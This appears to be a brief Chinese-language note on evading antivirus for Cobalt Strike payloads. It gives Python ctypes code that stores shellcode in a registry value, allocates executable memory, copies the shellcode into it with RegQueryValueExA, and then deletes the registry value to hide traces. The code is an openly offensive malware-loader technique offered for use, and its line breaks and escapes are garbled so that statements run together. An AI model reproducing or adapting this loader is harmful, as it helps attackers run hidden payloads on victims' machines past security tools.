CS免杀-RegQueryValueExA加载器

https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexa

LSTATUS RegSetValueExA(  HKEY       hKey,  LPCSTR     lpValueName,  DWORD      Reserved,  DWORD      dwType,  const BYTE *lpData,  DWORD      cbData);

buf = b"xfcx00..."ctypes.windll.Advapi32.RegSetValueExA(-2147483647, "test", None, 3, buf,len(buf))

https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regqueryvalueexa

LSTATUS RegQueryValueExA(  HKEY    hKey,  LPCSTR  lpValueName,  LPDWORD lpReserved,  LPDWORD lpType,  LPBYTE  lpData,  LPDWORD lpcbData);

LPBYTE = POINTER(c_byte)ctypes.windll.kernel32.VirtualAlloc.restype = LPBYTEptr = ctypes.windll.kernel32.VirtualAlloc(0,800,0x3000,0x40)

data_len = DWORD()ctypes.windll.Advapi32.RegQueryValueExA(-2147483647, "test", 0, 0, 0, byref(data_len))ctypes.windll.Advapi32.RegQueryValueExA(-2147483647,"test",0,None,ptr,byref(data_len))

ctypes.windll.Advapi32.RegDeleteValueA(-2147483647, "test")